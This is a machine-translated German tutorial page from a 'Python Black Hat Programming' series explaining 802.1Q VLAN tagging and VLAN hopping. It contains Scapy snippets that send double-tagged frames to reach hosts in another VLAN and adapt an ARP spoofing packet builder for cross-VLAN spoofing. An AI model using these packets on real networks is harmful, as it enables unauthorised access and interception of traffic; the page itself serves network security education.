Heim Backend-Entwicklung Python-Tutorial Python-Black-Hat-Programmierung 3.4 über VLAN

Python-Black-Hat-Programmierung 3.4 über VLAN

Feb 24, 2017 pm 03:29 PM

VLAN (Virtual Local Area Network) ist ein virtuelles Netzwerk, das auf der Ethernet-Interaktionstechnologie basiert. Es kann nicht nur dasselbe physische Netzwerk in mehrere VALNs aufteilen, sondern auch physische Netzwerkbarrieren überwinden und Benutzer in verschiedene Subnetze in dasselbe aufteilen VLAN. Abbildung 2 ist ein Beispiel für die VLAN-Aufteilung.

Python黑帽编程 3.4 跨越VLAN

Abbildung 2

Es gibt viele Möglichkeiten, VLAN zu implementieren. Es gibt im Allgemeinen zwei Arten der VLAN-Aufteilung basierend auf Switching-Geräten:

l Switch-basierte Portaufteilung

l Basierend auf dem IEEE 802.1q-Protokoll, erweitertes Ethernet-Frame-Format

Layer 2-basiertes VLAN In der Technologie gibt es das Konzept des Trunking, das zur Verbindung verschiedener Switches verwendet wird, um sicherzustellen, dass Mitglieder desselben VLAN, das über mehrere Switches hinweg eingerichtet ist, miteinander kommunizieren können. Die für die Verbindung zwischen Switches verwendeten Ports werden Trunk-Ports genannt. Zusätzlich zu 80.2.1q verfügt Cisco über ein eigenes Trunk-Protokoll namens ISL.

Python黑帽编程 3.4 跨越VLAN

Abbildung 3

Abbildung 3 ist ein 802.1q-Datenpaket, das sich nicht wesentlich von einem gewöhnlichen Ethernet-Frame unterscheidet Fügen Sie ein VLAN-Tag hinzu. Der VLAN-Identifier im roten Teil identifiziert, zu welchem ​​VLAN ein Datenpaket gehört, und stellt so sicher, dass sich der Bereich der übertragenen Daten nicht über VLANs erstreckt.

Lassen Sie uns nun kurz darüber nachdenken. Wenn wir über VLANs hinweg kommunizieren möchten, müssen wir dann nur die Kennung im Datenpaket ändern?

3.4.1 VLAN-Hopping

Basierend auf der obigen Analyse betrachten wir ein einfaches Szenario: Cross-VLAN ping: Senden Sie eine Ping-Anfrage von einem Host in Vlan1 an einen Host in Vlan2.

Vor der spezifischen Codierung müssen wir noch das Problem der VLAN-Paketkonstruktion lösen. In Scapy verwenden wir die Dot1Q-Klasse, um den Tag-Teil in Abbildung 3 zu erstellen. Wie in Abbildung 4 dargestellt.

Python黑帽编程 3.4 跨越VLAN

Abbildung 4

Jetzt können wir eine Cross-VLAN-Ping-Anfrage schreiben.

#!/usr/bin/python 
from scapy.all import * 
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP() 
sendp(packet)
Nach dem Login kopieren

Im obigen Code geben wir die MAC- und IP-Adresse des Zielhosts an und fügen zwei VLAN-Kennungen hinzu. Die erste ist zu senden Das VLAN, in dem sich der Datenhost befindet, und das zweite ist das VLAN, in dem sich der Zielhost befindet. Der Switch entfernt die erste Kennung und leitet das Paket an den Zielhost weiter, wenn er die zweite Kennung liest.

3.4.2 VLAN-übergreifendes ARP-Spoofing

Abschnitt 3.1, 3.2 und 3.3 Wir diskutieren alle über das Problem des ARP-Spoofings. Da VLAN die Broadcast-Domäne einschränkt, kann unser bisheriger Code kein ARP-Spoofing über VLANs hinweg durchführen. Es ist jedoch sehr einfach, dieses Problem zu lösen. Wir müssen lediglich die VLAN-Kennung in die zuvor erstellten ARP-Spoofing-Daten einfügen. Der folgende Code ist der Code, den wir zum Erstellen des ARP-Anforderungspakets in Abschnitt 3.1 verwendet haben.

def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt
Nach dem Login kopieren

Im Teil des Aufbaus des Datenpakets fügen wir die VLAN-Kennung ein:

pkt = Ether(src=mac, dst=target_mac) /Dot1Q(vlan=our_vlan) / Dot1Q(vlan=target_vlan) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
Nach dem Login kopieren

Auf diese Weise kann Cross-VLAN-ARP-Spoofing erreicht werden.

3.4.3 Zusammenfassung

In diesem Abschnitt geht es hauptsächlich darum, wie Datenpakete erstellt werden, um VLAN zu fälschen und Cross zu erreichen -VLAN-Datenkommunikation und ARP-Spoofing-Zwecke. Es ist zu beachten, dass die Methode in diesem Artikel hauptsächlich für das 802.1Q-Protokoll gilt und keine Auswirkungen auf VLANs hat, die physisch durch Ports isoliert sind.

Das Obige ist die detaillierte Erklärung der vom Herausgeber eingeführten Python-Black-Hat-Programmierung 3.4. Ich hoffe, dass sie Ihnen hilfreich sein wird. Wenn Sie Fragen haben, hinterlassen Sie mir bitte eine Nachricht Der Herausgeber wird rechtzeitig antworten. Ich möchte mich auch bei Ihnen allen für Ihre Unterstützung der chinesischen PHP-Website bedanken!

Weitere Artikel zum Thema Python Black Hat Programming 3.4 Cross-VLAN finden Sie auf der chinesischen PHP-Website!


Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße Artikel -Tags

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Wie benutze ich eine schöne Suppe, um HTML zu analysieren? Wie benutze ich eine schöne Suppe, um HTML zu analysieren? Mar 10, 2025 pm 06:54 PM

Wie benutze ich eine schöne Suppe, um HTML zu analysieren?

Bildfilterung in Python Bildfilterung in Python Mar 03, 2025 am 09:44 AM

Bildfilterung in Python

So verwenden Sie Python, um die ZiPF -Verteilung einer Textdatei zu finden So verwenden Sie Python, um die ZiPF -Verteilung einer Textdatei zu finden Mar 05, 2025 am 09:58 AM

So verwenden Sie Python, um die ZiPF -Verteilung einer Textdatei zu finden

Wie man mit PDF -Dokumenten mit Python arbeitet Wie man mit PDF -Dokumenten mit Python arbeitet Mar 02, 2025 am 09:54 AM

Wie man mit PDF -Dokumenten mit Python arbeitet

Wie kann man mit Redis in Django -Anwendungen zwischenstrichen Wie kann man mit Redis in Django -Anwendungen zwischenstrichen Mar 02, 2025 am 10:10 AM

Wie kann man mit Redis in Django -Anwendungen zwischenstrichen

Wie führe ich ein tiefes Lernen mit Tensorflow oder Pytorch durch? Wie führe ich ein tiefes Lernen mit Tensorflow oder Pytorch durch? Mar 10, 2025 pm 06:52 PM

Wie führe ich ein tiefes Lernen mit Tensorflow oder Pytorch durch?

So implementieren Sie Ihre eigene Datenstruktur in Python So implementieren Sie Ihre eigene Datenstruktur in Python Mar 03, 2025 am 09:28 AM

So implementieren Sie Ihre eigene Datenstruktur in Python

Serialisierung und Deserialisierung von Python -Objekten: Teil 1 Serialisierung und Deserialisierung von Python -Objekten: Teil 1 Mar 08, 2025 am 09:39 AM

Serialisierung und Deserialisierung von Python -Objekten: Teil 1

See all articles